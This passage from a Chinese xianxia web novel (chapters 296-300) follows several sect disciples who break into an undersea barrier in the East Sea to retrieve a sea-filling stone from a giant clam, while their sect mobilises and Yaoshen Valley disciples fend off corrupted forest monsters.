“虽然没有危害到人间,但是整个宗门都有够呛的,不知要多久修整……”说到这,他还看了看边上二人:“当时我大师兄和映心也受了重伤呢。而如今……在场只有我们六人哈。” 邬芽听到这连连摇头道:“不行……这不行,东海附近毗邻民间闹市,百姓众多,如今又是深夜,他们完全无处可逃!” “话虽如此,”石映心非常坦白道,“即使我们现在不去拿填海石,旋娉也会想尽办法得到它;即使旋娉暂时得不到,但如今天下异象频频,度朔山在东海显世已是一种征兆……大难总要临头。” 经她一说,邬芽便有些懵了:“那……我们该怎么办?” “虽然不想此事闹大……”明易沉着稳定道,“但事已至此,以我们几人之力去夺填海石毫无胜算,也许我们只能请求归壹派支援。” 石映心也点点头。 邬芽还觉得不够保险:“不如我们也请幽冥宗的……” “也许不能,”明易果断拒绝,在幽冥宗二人疑惑的视线中,尽量平静道,“我想此结界的影响范围……并不只是东海;或者说,并不只是我们归壹洲。” “大师兄你的意思是……”曾换月张了张嘴,“其它洲的异象也会受到影响、变得严重?” 明易微微颔首:“嗯,不过只是我的推测罢了。” “十有八九。”说着“**”,但石映心的语气和神情明明是十分的笃定,“结界中蕴含的力量……和引起其它异象的力量是同源共流。” 女娲神力。她默默在心里补充了一句,又道:“它们彼此呼应,一旦聚合……后果不堪设想。” 大伙沉默。 这时候看着沉默的曾换月心里却吵得很。她心说这是什么情况,怎么就走到灭世之灾的剧情了?等等等等……她还没准备好啊! 可没准备好什么呢,为天下而死?那别说准备好了,她压根不愿去想;时至今日,她早就习惯了这样平凡热闹的日常,完全不想走什么夸张的剧情,就连先前在梦中学到的那阵法…… 对,叫换月神阵来着。 她学的时候懵懵懂懂,每天苦兮兮地背啊抄啊默啊,怎么都记不明白;在不知多少次的重复之后,大概是天道酬勤,好不容易通了慧根,总算是记下了、明白了,因此也懂得了阵法的意义—— 能让她“回家”。 曾换月看出来了,换月神阵和天机阁的偷天神阵确实相像,但更胜一筹;能让她“回家”不过是这阵法的其中一种功能。它就像是一艘Bug小舟,坐上去便能通往任何地方,“穿越”不过是其中可停靠的一站。 那么情有可原的,如此神通的小船一旦启航,便有无法预知的风险。 若是在几年前,她定要提心吊胆地尝试几回,哪怕是明知自己是菜鸟作死;可事到如今,她不知何时已没了“回家”的念头,早就不想上船了。 为何偏偏在这时让她学会了呢? 这么神秘又诡异的玩意,岂能是她这个平平无奇的、还在元婴期的小小阵修可以学会的?曾换月有种“接受了自己是路人甲的事实但突然得到主角机缘”的离谱感,心中非常不安和排斥。 她才不想整什么大事,只想永远跟在师姐师兄身后,无忧无虑地嘻嘻哈哈,借任务之便游历天上地下八大洲,吃遍各地美食,认识形形色色的道友,体验她们精彩的人生片段…… 这也是她迟迟不知道怎么和师姐她们说的最大原因,她只想一切寻常,没有变数;不去想所谓的换月阵法、所谓的机缘,究竟莫名为何降临在她头上。 直到今日。 曾换月望向面前那面透明的结界墙,贴在上方莹莹发光的符箓微微浮动,照亮了漆黑海水中的师姐师兄,三人这会正在邬芽、桑九商讨一些她不乐意去掺和以及设想后果的、所谓的“天下大事”。 此时此刻才算明白。 若是这样的命运,确实叫人心甘情愿。 只是,难道,也许,不可能吧…… 这也是旋娉的阴谋吗? 曾换月不敢想。 “换月,换月?” “啊?”曾换月回过神来,是师姐在叫她。 二师兄抱着胸故意白她一眼:“这都什么时候了还走神呢!你这家伙真的是搞不清楚状况。” 曾换月懒得鸟他,问师姐道:“什么事啊?” 石映心看了眼边上的幽冥洲二人道:“方才经过商量,我们发现邬芽和桑九也许有办法仅破开结界的一道门供我们出入,并且在短时间内维持这扇门;只是时间一到,不管如何结界都会分裂。我们要在这段时间内得到支援……” 说到这,她看了眼边上已经在飞速写传音符的明易:“等信送出之后我们便要进入结界之中,不过我想兵分两路。” “兵分两路?”曾换月一愣,“那我呢?” 石映心解释说:“桑九必须留在此处维持结界的稳定,并且在我们之中,也只有他的水法术能做到;不如你留在这里,用符阵帮衬他……” “不行、不行不行!”曾换月立刻摇头,“我要跟着师姐!” 桑九在边上提醒道:“结界里更危险。” 曾换月摇摇头:“就是更危险我才要进去啊,多一个人多一份力量嘛!” 第297章 “我无所谓。”桑九撇过头,“她的法术也不见得能和我配合上。” 曾换月看向邬芽。 邬芽挠挠脸,一副老实听安排但实话实说的表情:“额……我是火法术,只能在结界上开个门,留下来是没……嗯,可能起到一个鼓励桑九的作用吧。” 桑九:…… 还没开始呢,这就商量不下来了。 此时明易将写好的传音符送出,朝二师弟和曾换月道:“你们二人都有维持阵法的本事,随意留一人下来辅助桑九;既然是填海石,其性应属火土一类,也许邬芽能派上大用,最好同我和映心进结界。” 这才叫客观分析嘛,大伙都没意见。曾换月跑到师姐边上道:“那就我进去吧,毕竟……额,你的宝器发挥更稳定些。” 那确实哈。顾梦真挠挠头,虽感到些古怪但也无话可说。 事情就这么看似严谨客观地决定了。 第一步是由桑九和邬芽联手在结界上打开一扇门。只见桑九施展法术,将结界前被曾换月符箓照亮的那块方寸之地的海水抽干并与周遭隔绝,如此就有了一个无水地带;邬芽接着变出一个小火苗来,小心翼翼地在其范围内一小块一小块地把结界烧熔。 这细致活是不方便剑修干的,若是剑尖一刺进去,就是再小心,周遭也要出现无数细小的裂缝,届时可为难了维持结界的桑九和顾梦真。 邬芽烧得很小心,曾换月在边上也提心吊胆地看着,在她烧出一个狗洞大小的时候就制止道:“够了够了,我们钻过去就是,在这紧要关头不必威风凛凛的!” 邬芽听了,很认同地点点头,立刻收回了手。 门……额,洞就这么开好了。 临进去前,曾换月转过来语重心长地对她师姐师兄道:“无论如何,活着最重要!就是拯救不了苍生也没关系,我们一定要好好活着!与天下共存亡是什么意思?就是要苟活到世界末日最后一秒,而不是英勇牺牲舍身就义啊!!” 她师姐师兄:OO 曾换月神情壮烈:“听明白了吧!” 石映心和明易对视一眼:“……听明白了?” 行了行了,进去吧。 曾换月本是要缩着身子钻过去的,正如她说的那般不必威风凛凛;但被石映心拉住了,指了指边上的明易,就见他跟在精卫妖的后边,横着身子也如水蛇一般游了过去。 石映心朝师妹眨眨眼睛,意思是可以体面地过去的。 曾换月:……啊呀这不是在陆地上走习惯了嘛,看到洞就想钻。 把师妹送进去后,石映心朝外头二人颔首道:“二师兄,桑九,这里就拜托你们了,只要坚持到我们归壹派来人就能轻松些。” 已经在施法稳固结界的桑九抽空搭理她,朝她点了点头。 顾梦真正在储物袋中掏宝器看看有没有啥能派上用场的,闻言朝他师妹拍拍胸脯保证道:“哎呀映心,二师兄办事你还有什么不放心的?倒是你们几个在里头要当心哦!” “好。” 石映心应了一声,转身游入了结界之中。 顾梦真看着师妹的背影消失在视线中,眼前除了几张发金光的符箓外只剩下黑乎乎的海水,结界里头的情景是一点瞧不见了;心中的不安慢慢席卷了他的情绪,这会他很理解为何方才曾换月争着要跟进去。 唉…… 大概是他的失落太突然,边上的桑九投来了视线:“你现在跟进去也来得及。” “罢了,”顾梦真摇摇头道,“总不能留你一人在这……我想你一定也很担心你师姐吧?不过你放心啦,我大师兄和映心肯定会保护好她的。” “是吗?”桑九面无表情道,“随便吧。” “随便?”顾梦真奇怪地看向他,“随便是什么意思?” 桑九望向自己的手,它们正在源源不断地输送着法术来维持结界的平衡,他没由来地说了一句:“原来我自幼习得的法术中的水……源自此处。” 顾梦真一愣:“啊?” 桑九没看他,像是自顾自地说道:“并不是所有学习水功法的幽冥宗弟子都能用自身的灵力维持此结界;也并不是所有学习火功法的弟子都能用灵火烧熔这面结界。” “你 的意思是……” “嗯,”桑九微微颔首,轻轻叹出口气道,“我想师姐她……一定也有所察觉。” 这一切并非偶然。 说到这,他忽然朝顾梦真扬起一个一言难尽的笑容:“这么看来,你们归壹派的因果牌真有名堂。” 顾梦真瞪大眼睛看着他,又转过头去,望向无尽的黑海。 * 结界里头和外边看起来没什么差别,就是黑乎乎的海水,还有一些不认识的鱼类游来游去,仿佛一切寻常。 不过石映心很有感应:被大师兄刺破的心镜竟然在迅速恢复之中,而且并非是她的“功劳”。 那么是谁就不言而喻了。 明易注意到她微微走神的脸色,传密音问:“怎么了,映心?” 石映心想了想,还是如实告知:“结界内的神力越来越强了,心镜如鱼得水地在修复中,我想不过多久便能恢复如初。” 明易听罢默了默,曾换月却大惊道:“师姐,该不是我想的那个意思吧?!” 石映心点头:“是。” 曾换月便急死了,一时胡言乱语起来:“怎么会这样……这太离谱了……这就是反派大波斯的实力吗……” 邬芽其实很想问大波斯是什么意思,可惜这会还有更重要的事要先问:“映心,若是旋娉恢复好了,还会将你夺舍吗?” “目前不会,”石映心想尽量解释地清楚一些,毕竟她也当心旋娉会伤害她们,“她若是要再夺舍我,只有两种可能:一是我‘露馅’,不过我会提前告知,让你们有所防备;二是她汲取了填海石中的神力,届时我对她的禁锢便无用了。” “师姐!”曾换月连忙说,“那你可千万不要再露馅了。” 石映心微微颔首,又在心中默默补充:除非万不得已。 明易静静地看了她一会,无声无息地叹了口气,转头继续跟着精卫妖游。 不过多久,精卫妖便带她们来到了一处海底悬崖。它止步于此地游了回来,贴着石映心啾啾了几声。 石映心便朝几人道:“悬崖下便是填海石的所在处,不过它不能下去,否则下方的神力压迫会让它瞬间魂飞魄散。” 曾换月喃喃道:“说什么神力……居然是这么可怖的东西吗?” 明易已经开始想办法:“那么我们必须用灵力屏障护体,若是感到屏障将碎,一定要及时告知并且回到崖上,不可逞强。” 几人点头表示明白。 “映心,”还要特地点名某人,“如果感到任何异样……” 人话还没说完,石映心就先把头使劲点了一下:“我知道的大师兄!” “这可不是以往……” “嗯嗯!” “你千万……” “嗯嗯!” 明易:。 真是一点办法没有。 石映心拍拍精卫妖的尖喙,笑道:“多谢你带路,辛苦了。趁现在还有些时间,赶紧逃远些吧。” 边上听着的邬芽:? 精卫妖摇了摇尾巴,朝她眨了眨眼睛,并未离开。不过她们也没功夫搭理它了,加固了几次灵力屏障后,由明易带头,几人很快便往悬崖底下游去。 邬芽漂浮在悬崖边,低头望去遥遥无际、深不见底,分明可怖得很,但直觉中莫名感到一些奇异的召唤。她心想,难道这便是飞蛾扑火的心情吗?到底……召唤她的是什么呢? 她最后回头看了精卫妖一眼,脑海中浮现出初次见到皮皮时它的可爱模样,于是朝它笑了笑,转身跳下悬崖。 * 与此同时,归壹派,万事堂。 “……噢,你是要找映心吗?”晴雯看着面前的少女,和善地笑了笑,“映心她们下山做任务去了,不知何时才能回来呢。若你有时间的话,不如在我们归壹派暂住一段时日,等她们回来?” “好像没有那么多时间……”少女喃喃道,“她们去哪了,可以告诉我吗?” 晴雯挠挠脸:“这个嘛……听说是去幽冥洲处理什么旱灾?不过你也明白的,这任务的事没那么简单,去了第一个地方再跑去另一个地方都有可能,有时还会误入哪处结界,没有定数的。依我看呀,你还是留在这等她们?” “不行……”少女摇摇头道,“劳烦帮帮忙,有没有办法可以找到她们的踪迹呢?” “这个……”晴雯想了想,“我们门派弟子间的传信可以用传音鹤或者传音符,可你是外门人……啊,若是你有什么同时蕴含映心以及你自身灵力的信物,也许我可以帮你。” “信物?我有信物!”少女闻言略感激动,反手召唤出一个什么东西来。 晴雯定睛一看,竟是她们归壹派的传音鹤,不过并不是普通纸张材质,而是由灵石混着金银铜熔化在模具里炼制成的传音鹤(升级版),又附上了阵法,如此便像是一个雕塑一般,非常稳固。 “哇,”晴雯有些惊讶地笑道,“你这传音鹤别具一格、价值不菲,定是出自顾梦真之手。” 少女也笑了:“我想也是……对了,上面还残留一些映心的灵力。” 晴雯取来一看,确实是熟悉的剑修师妹的灵力,她朝少女微笑颔首:“有这样的宝贝我便能帮你找到映心她们了。” 少女听到这好消息也松了口气:“太好了……” 第298章 她这口气还没松完,忽然边上跑来一个弟子,面上有些茫然的急切:“晴雯师姐,陶远师叔急着找你呢!” 晴雯:“什么事啊?” 弟子脚不沾地:“不知道啊,只叫我赶紧让你过去!我还要去通知其它师姐师兄,不讲不讲了……”说罢便跑了。 “咦?”晴雯有些莫名,可惜她并不是急性子,甚至还对有些不安的少女笑道,“凡事讲先来后到,我师父也不例外,我先忙完你的事。” 少女松了口气。 在等着晴雯施法的时候,她渐渐感到万事堂内变得躁动的氛围,忍不住说道:“晴雯师姐……近日八大洲似乎都有些不太平。” “是啊。”晴雯闻言叹了口气,“最近我们万事堂里也传来各地不少出现异样和消息呢……这一月我就安排了不少弟子外出支援了,什么琼华宫灵兽宗……咦?” 她说到这忽然想起什么,抬头看面前的人:“据我所知,你们那应该也很忙吧,怎么有时间来我们这呢?” 少女抿了抿唇,似乎也不知该如何解释:“门派中有我师父她们镇守,至于我……也许是直觉吧?” 真是没道理的理由啊。 晴雯眨眨眼道:“理解理解,修仙者的直觉可是很重要的……不过说到直觉……” 她侧头看向某一个方向,语气中有些同情的好笑:“近日天机阁的弟子时不时莫名丧失直觉,这对他们以卜卦为生的修士来说可真是太灾难了……” 这都提到天机阁了。 莫默收到传信,急着赶去陈久那,谁知半路被人拦下。 “欸?你们不是……”他感到面前二人有些眼熟,其中一个手上还拿着巴掌大的罗盘,上头的指针是一只蜥蜴的骨骼,头部正稳稳地指着他呢,一看就是天机阁的道友。 但可惜莫默这人记性一般,确实记不得名字了,挠挠头有些不好意思道:“……去年摘星大会时在秘境中有幸相识的天机阁双胞胎道友?” 姬漓朝他道:“对对,正是我们……额,阁下怎么称呼?” 莫默松了口气,好在对方也不记得他了哈哈…… 于是互通了姓名,莫默瞅着那指着他的、有些可怖的蜥蜴骨,试探地问:“那什么……难道你们是来找我的?” “不是。”姬滢直白道,“我们是来找映心她们的。” “哦,映心她们啊,”莫默道,“那真是不巧了,她和她师兄师妹前几天刚出去做任务呢。” 姬漓挠挠头,叹了口气道:“果然又算错了,还以为算出是在归壹派的卦象就肯定是对的呢……莫道友,映心她们是去了何处呢?” 莫默回忆了一下:“听说好像是去 幽冥洲?估计是帮忙旱灾的事吧。” “不对。”姬滢摇摇头,“不是那个方向。” 莫默:OO? 又听姬漓对妹妹道:“可咱俩现在起的卦都不准啊……指不定就是呢?” 姬滢还是摇头:“我直觉不是。” “哎呀我的妹妹啊,就是因为直觉不准才卦象不准啊!” 姬滢木着脸:“总之不是。” 姬漓大叹气:“不管了,先去幽冥洲看看!” “不行,不能再走错路了,来不及了。” “可是我们这……” 莫默:个_个 他瞅了瞅看起来非常伤脑筋的姐妹俩,挠挠头道:“二位是有什么急事吗?不如在我们归壹派等她们回来?我想半个月内她们应能回来。” 二人一口拒绝并且表示一定要尽快找到人。 “那真是对不住了,在下爱莫能助哈……”莫默挠挠头道,“实不相瞒,我这会还有急事要去我师父那……” 姬滢颔首:“好,你走吧。” 莫默礼貌告别,然后继续往天和峰飞去……飞着飞着似有所感,回头一看——那二位怎么还跟着呢! 他只好停下来,发出疑问:“额?” 姬漓无辜地指了指她妹妹手中的罗盘:“没办法啊,这是月神的指引。” 月神?莫默瞪眼看了看那只蜥蜴骨,心里有很多疑惑:“你们天机阁的直觉和卜卦近日不是出问题了吗?这什么的指引……真的能信?” “不一样,”姬滢语气平静而笃定,“这面罗盘上的灵力是出事前留存的,而且来源特殊,不可能出错。” 莫默完全听不懂,心想真搞不懂天机阁是什么情况,但他也没时间搭理她们了,只好道:“行吧行吧,你们要跟就跟着吧。” 于是就这么一带二地飞到了天和峰。 天和峰是掌门的住处,落地时,莫默正巧和晴雯遇上。二人对视一眼,心中隐隐约约的不妙预感在见到彼此时呼之欲出,但此时有一个更奇怪的问题在二人眼中冒出来了: 怎么你身后也跟了尾巴? 莫默疑惑地看了看晴雯身后的人,又瞅了瞅跟着他的两位天机阁道友,忽然瞧见那蜥蜴骨的脑袋猛地转了方向——对准了那名陌生少女。 莫默:O0O 晴雯很疑惑:“莫默,什么情况?这二位道友不是去年摘星大会时遇到的天机阁弟子吗?她们怎么……” 莫默一脸“我也不知道啊”:“说是来找映心她们的。” 晴雯惊讶挑眉:“我身后这位也是……” 这时却见陈久从大殿中走了出来,朗声道:“你们两个杵在那干什么?还要为师等你们多久?” 二人吓了一跳,连忙应声,着急忙慌进屋的时候回头一看,那三人已经不见了踪影。 本来心里还有些叽里咕噜的呢,但一进掌门大殿,见到满屋的同门,各个脸色都很不安;一向面容和蔼淡定的掌门师公端坐在主位上,手上捏着传音符,神色竟有些异常,更别说边上的陶远和陈久等一干长老了。 二人大感不妙,哪还有心思再想那三位外门道友的事。 躁动不安的大厅内,忽然有人惊群动众地飞进门来,是慕雲仙尊;她并未行礼数,冲上去语速超快地和掌门道:“师父你们商量着吧,我一人先去东海!” 天元被她吓了一跳,语气也急:“你先别急,此事要好好安排!” 慕雲二话不说:“走了!” 说罢转身就飞走了,总共在屋里也没待几瞬,屋里的弟子和长老们都没反应过来。 “欸你……”天元干瞪眼也没办法,又不能追上去,只好调整心情,振声对底下众人道: “众位听命——如今东海有难,本尊将命你们前去支援。此次任务危难重重、事关重大,你们需谨记门规行事,不可擅自行动脱离指挥;需以人为本,性命至上……道友之间互帮互助……” 其实没说多久,也没说完。听众们认真严肃的面色上隐隐浮现不安的躁动。 “我们归壹派势必要守护天下太平,百姓安全……” 天元说不下去了,摇摇头叹了口气,朝边上的陶远等人郑重颔首道: “话尽于此,就由众位长老带领各自门下弟子——随本尊出发东海!” * 药神洲。 谷神森林自不久前被平定之后,依旧时不时出现一些异样,像是一种狡猾的试探,整得药神谷烦不胜烦;即使再不情愿,落桦也只好上报归壹派,对方派来了一位不愿露面的面具仙尊,她在勘查后给出了一个临时的解决方案: 让药神谷和梵音门互帮互助。 是这么个原理:如今谷神森林中异变的那些妖怪都是针对她们药神谷弟子的功法,主要能抵御毒雾啥的“阴招”,那么就请梵音门耍棍的弟子来暴打它们,便可出其不意;“凑巧”,这会梵音洲的沙尘乱严重,可以让药神谷的弟子往沙漠里临时种一些灵植,便能暂时阻挡灾害对民间的影响。 这办法非常可行,于是两个宗门之间就这么互帮互助了一段时间,虽解决不了源头问题(主要也找不到),但好在控制了影响,争取了想办法的时间。 只是这么下去也不是办法……可确实也没其他办法,人家郁垒仙尊已经两头跑地帮着他们找“问题根源”了,好一段时日都没回家歇过,这都找不到。 又因为归壹派来的那位面具仙尊提供了一个不错的方案,所以落桦对她非常客气,一直好生招待着她,时不时要去问她的意见。 面具仙尊也不是来当高朋贵客的,压根没闲着,每日都要跑谷神森林去探查,早出晚归非常辛勤,如此负责的行为让落桦等药神谷的人对归壹派的印象都好转了不少。 这日她主动找上落桦,开诚布公道:“谷神森林的异样源头我想你已经有所猜测。” “是吗……是吗?”落桦反应了一会,叹了口气道,“原来阁下也知晓了,果真是那处吗?” 面具默了默道:“我能看出,那颗蚌珠是谷神森林的根源,没了它,森林便会死 去;森林一死,药神谷没了灵力根基,也会大势将去、日渐衰败。” “阁下竟看得如此明白……”落桦久久地望着面前的月白色面具,这是归壹派的色彩,心中有些震撼,难道这就是归壹派的实力吗,“不愧是……天下第一仙门的能士,在下敬佩。” 面具没说话。 “这也是无法的。”落桦叹了口气,他这段时日实在心累,面上也衰老了许多,“若保不住谷中的弟子,维护一个宗门的空壳又有什么意义?只悔恨自身无用,竟让药神谷的前程止于我落桦手中!” 面具微微摇头:“一切不过是命运使然,与你无关。” “阁下不必再宽慰我了。”落桦已经下了决心,毅然决然、一鼓作气道,“既然如此,我这就让谷中弟子以及梵音门的道友们撤离,由我一人前去损毁蚌珠!” 第299章 面具对他这英勇行径有些无语:“你一人去就如同蚍蜉撼树,完全是白痴行径,毫无意义。” 骂得还挺难听哈。 落桦的气势便衰竭一些:“唉,阁下有何高见?” 面具上看不出什么神色,只听她沉吟片刻道:“那位神出鬼没的仙尊如今在何处?” “哦,您是说郁垒仙尊吗?”落桦道,“仙尊这段时日也一直在操劳,前日似乎去了梵音洲,昨日回来去了罗宝山,今日……还不知在哪。” 面具道:“既然我能看出症结所在,郁垒仙尊定也知晓;如今她四处奔波,很可能是在想方设法;我们唯一能做的,便是在她想出办法前尽量稳住森林的情况,拖延时间。” 说罢似乎意有所指道:“最怕人笨还勤奋,多了无意义的牺牲。” 落桦:…… 不知是不是他的错觉哈,总感觉这位仙尊对他有些意见呢? 但事已至此还能咋滴,笑呵呵地、感恩戴德地应下吧。 二人本还想商量些具体事项,但这时忽有先声夺人而进:“不好了!谷主——不好了!” 落桦忙道:“发生了何事!?” “谷神森林……”这报信的弟子跑太快,上气不接下气道,“深、深林忽然出现了大片的腐化,封印快拦不住了!” “什么!?” * 谷神森林,深林封印处。 “乐鸿!你没事吧?” 屠芜接住被弹飞的乐鸿,余光瞥到什么,连忙将他手上的听音棍打飞。就见那棍子落在地上发出滋啦的声响,很快就腐烂成一滩黑水;黑水侵染了下方的草地,竟然有渗透到边上的迹象,好在及时被屠莱用法术截断。 “唉,”他松了口气道,“可惜了这么贵的棍子……” 乐鸿被屠芜扶着站起来,脸色有些苍白地笑了笑:“没事的,我还有很多听音棍。” 说罢又变了一根出来撑在地上,如此便不用屠芜的搀扶:“多谢屠芜道友。” “客气什么。” 屠莱惊讶挑眉:“你们梵音门弟子都这么有钱的么?” 乐鸿连连摆手:“没有没有……” “喂,重点不是这个吧!”屠芜忍不住道,“不是说梵音门的听音棍刀剑不入、坚不可摧?怎么变成……这般模样。” “听音棍确实厉害,但世上万物皆有弱点……”乐鸿摇摇头,有些苦涩道,“我也是今日才知道的,原来弱点是你们药神谷的毒啊,哈哈……” 屠家兄妹:……笑得太苦了喂。 “原来如此……”屠莱看了眼边上正在封印边缘抵挡里头狂躁妖怪的梵音门弟子们,若有所思道,“如今谷神森林中异变妖怪多是针对我们药神谷进化,因此都能防御毒素……” “此增彼减,它们对实打实的攻击,比如剑法棍法等的抵御就会变弱,如此你们梵音门弟子便能帮上我们的忙。可惜……”屠莱耸了下肩道,“深林里莫名放出的毒素居然能腐蚀你们的听音棍,这对那些百毒不侵的妖怪来说不是如虎添翼吗?” 乐鸿微微颔首,忧愁地看着他的同门们一个个扔掉手中的棍子,心中发沉:“这可如何是好……不知道归壹派的剑能不能破局?其实……” “办法很简单呀!”屠芜灵光一闪,“只要我们为听音棍加上防毒屏障不就行了?” 乐鸿一愣:“好像可以?” 屠莱也觉得有道理,颔首道:“行,试试。” 于是先用乐鸿的听音棍试了试,有效果但一般。屠莱摸摸下巴:“看来不对症啊,换个配方试试!” 就这么换了几次配方,可都是杯水车薪,又召集了其他同门一起想办法,但也无济于事。眼见局势越发惨淡、伤亡增多,大伙都很着急。 这时乐鸿再次想到什么,朝屠家兄妹郑重其事道:“实不相瞒,若是我们梵音门的听音棍也无可奈何,最好还是去求助归壹派的剑修吧。其实我认识两位厉害的归壹派道友,不如我现在就传信去给……” 等等! 屠家兄妹这时忽然想到先前听说过的三足乌族的事情,好像就是发生在梵音洲?故事中有个光头道友,难道是…… 二人的目光落在乐鸿的光头上,心说不会就是这个光头吧?“难道你说的两位厉害的归壹派剑修是……石映心和明易?” 乐鸿:O0O! 三人面面相觑,一时惊叹于命运的巧合。但这会不是联络关系的时候,乐鸿见她们也认识映心等人,有些激动地紧忙点头道:“是,是!我想请她们来帮忙试试!” 屠莱刚想应下,去听她妹妹道:“等等,说到映心她们……哥,不如我们试试蛊术吧!” 屠莱一愣:“蛊术?” “对,”屠芜的双眼里发出信心的光芒,“这些妖怪一开始是针对我们药神谷而生,如今又飞快地找到了对付梵音门的办法,可见它对我们非常熟悉,适应能力也强。可是蛊术,它们一定还不熟悉蛊术!” 屠莱一听,觉得确实如此啊,于是二话不说就改了屏障的配方、加入了蛊术,让乐鸿前去一试——真的有效! “太好了!”乐鸿便把寻求剑修帮助的念头抛到了脑后,跳起来道,“我这就去让弟兄们来请你们加固屏障!” 找到了办法,屠家兄妹也是松了口气:“好。” 药神谷中能学习蛊术的弟子少之又少,这会还真的只能麻烦二人了。当然其他同门弟子也没闲着,要么忙着对付想闯出深林的妖怪的和腐化毒气,要么忙着加固封印,各有各的事干。 百忙之中,屠芜和哥哥说道:“这么下去不是办法,我们的蛊术并不精湛,灵力也有限,‘它’一定很快就能见招拆招。” 屠莱轻轻叹了口气:“已经有弟子前去禀报谷主,等他们来了,也许还能再撑一会。总之……尽人事,听天命吧。” “……嗯。”屠芜微微颔首,耳边飘来一些“何时才是个头啊”“到底什么时候才能恢复平静”之类的哀叹声。 这样的声音已经环绕她们药神谷有一段时日了。 她手上不停地为梵音门道友们加固听音棍,目光却飘向了不远处的山脉,沉沉的乌云之下,罗宝山依旧屹立在那。过往的经历犹在眼前,那四张鲜活的面孔仅是想起便让她感到许多力量。 谷主早就上报归壹派请求支援,迟迟只来了一位面具仙尊,以天下第一仙门的正派做法怎么会坐视不管呢?定是她们也有危难,如今八大洲不太平的事早已众人皆知了…… 映心她们一定也在为了平息异象而努力吧。 * 东海。 上回说到,石映心等人在精卫妖的引路下来到了一处海底悬崖。这时她们四人正往崖底游去呢。 本就是黑夜,海水里黑乎乎的,仅能靠手中的辟邪灯辨识眼前的方寸之地;等往崖底游去的时候,居然奇异地慢慢亮堂了起来。虽然也没有多明亮,但已胜过了辟邪灯的效用,就像完全的黑夜过渡到黎明的那一刻钟。 但四人依旧未将手中的辟邪灯收起,毕竟它的作用也不只是照明。 曾换月始终紧紧跟着她师姐,还要不间断地有话说话、没话找话,这是她缓解紧张的习惯:“师姐师姐……” 石映心:“嗯?” 曾换月幽幽地:“你知道吗,在一般话本故事的套路中哦,只要是什么绝世宝贝,定会有可怖的怪物守护着;主角还要大战三百回合,有死有伤后才能得到宝贝拯救天下……” 石映心:“嗯。” 曾换月悄悄地:“那你说我们等会……” 石映心:“嗯。” 曾换月听她师姐这一个字的语气就发愣,这下是觉得不对劲了:“师姐……嗯是什么意思啊?” 石映心就想嗯还有什么意思呢:“‘嗯’就是嗯的意思?” 曾换月默了默:“难道说你已经……” 石映心又“嗯”了一声:“已经感应到了。” 很快又补充道:“理应也有。” “……”曾换月才管不了是感应还是理应有,她这会的心情宛如上刑场一般,按照她喜欢的话本套路的发展,定会有劫刑场的人,重要角色是不会死的……可她身为读者时便会忧心作者搞事情,如今自己面对这场面,心里真是没底。 只是她不可能回头。 “找到了。” 大师兄的声音猛然换回她的思绪,曾换月感到自己的心脏被吓得蹦了一蹦,下一刻又因为屏息凝神而没了动静。她下意识往前望去,就见前下方的崖底那似乎有一个巨大的影子,瞧着形状像是…… 蚌壳? 这时候又听她师姐有些确信地说:“这个蚌壳……我见过。” 邬芽便问她是在何处。 “药神谷……谷神森林的深林里。”石映心回忆着,“里头有一条河,河边的地里和河中都有许多蚌怪,会张开蚌壳将人吞入其中;我在河中找了许久,找到了一个巨大的……大概和面前这只差不多大的蚌怪。” 她说到这居然就停住了,可后边才是重点吧?几人等了一会也没见她继续,曾换月急道:“然后呢师姐?” 石映心微微摇头:“我打不开蚌壳,没有然后了。” “怎么会打不开呀,”曾换月一愣,“那里头肯定有什么东西吧?比如我们现在要找的填海石……” “嗯,”邬芽也这么觉得,“我师祖便是说让我找什么珍珠,那么蚌珠藏在蚌壳里似乎很理所应当……我们打开看看?” 不错,是要打开看看。 明易微微挑眉,朝几人道:“你们先退避,我来试试。” 第300章 石映心并不阻拦,还贴心地和大师兄说了她之前的开蚌壳经验:“如此如此,这般这般。” 明易颔首:“好。” 剑修提着寒竹剑上前一试……二试三试……四试五试……还是回来了,面色不意外,微微摇头道:“不行。” 大伙也不失落,只抓紧着想办法。邬芽琢磨道:“我们幽冥洲的河蚌新鲜又好吃……咳,我的意思是,不如用我的灵火烧一烧,看看能不能让其受热自开?” 听起来好简单哦,感觉不太可能呢。不过反正也没有想到更好的办法,于是大伙就让邬芽试试先。 但这试得也不容易,毕竟是在海中,她灵火的威力被衰减了许多,别说烧这个巨大蚌怪了,烧普通的小河蚌都够呛煮熟…… “唉……”邬芽熄灭了手掌心冒出的小火苗,叹气摇头道,“还是不行……奇怪,往常我在水中用灵火,也不至于这么无用,为何在此处会如此费劲呢,好似完全不可行一般。” “哎呀,这里又不是普通的‘水中’,”曾换月拍拍她肩膀宽慰道,“这里可是结界!我们边上这些水看起来寻常,但……也算是有灵力的水吧?” 明易也颔首道:“换月说得不错。看来如果想要用你的火法术,需要你师弟辅助配合,不然难出效果。” 可问题是,桑九 这会还在外边撑着结界呢。 “好吧,”邬芽并不纠结,很快走出遗憾,“那么就试试别的办法吧。对了,方才换月你说的,用符箓贴上去然后……” “等等。”方才沉默着好似若有所思的石映心冒话了,“水火相冲,既然此处的海水如此抑制邬芽的火,便说明邬芽的火对海水也有克制作用,火盛反克水,不过是多少问题。” 明易很快懂得她:“你的意思是,邬芽的火才是开蚌壳的关键?” 石映心看向大师兄:“嗯。” “但我师弟他……”邬芽感到自己身负重任,有心而无力,“总不能不管结界……” “这个啊。”曾换月笑眯眯道,“我师姐有办法!” 邬芽:OO? 她看向石映心,就见她扬起一个靠谱的微笑,看着非常可靠,声音听起来也是那么稳妥有条例:“我有办法暂时复刻你师弟方才打开结界时隔离水的本事,你尽管用火烧那蚌壳便是。” 她如此让人信服,竟叫邬芽问不出一句“什么办法”,连片刻的质疑都没有,就答应下来:“好。” 几人便盘算着等会隔绝海水的范围,因为蚌怪巨大,为了节省灵力,几人只打算留很小的操作空间。 但商量时,明易似乎想到了什么,看向石映心道:“映心,你方才说水火相冲,火盛反克水?” 石映心眨眨眼:“是。” “那么……”明易颔首道,“便不能完全隔绝水了。” 曾换月也眨眼:“为啥呀?” “水火相冲,既然我们要开蚌壳,便旨在‘冲’字。”明易分析道,“若是仅有火或是仅有水,只起到一个火水本身的效用;只有二者皆在,才能达到‘冲’的爆发威力的效果。最后究竟是谁胜,才看盛衰多少。” 这实在是太有理有据了,曾换月有时也挺佩服她大师兄的:“好有道理啊大师兄!我看行啊。” 邬芽听此忽然想到什么,一拍手道:“对,我师父她们也这么说过。而且我们幽冥洲弟子练习火水法术时都要相互隔绝很远,也是这个原因,怕出现什么意外。” “嗯。”明易道,“如今便要反其道而行之。” 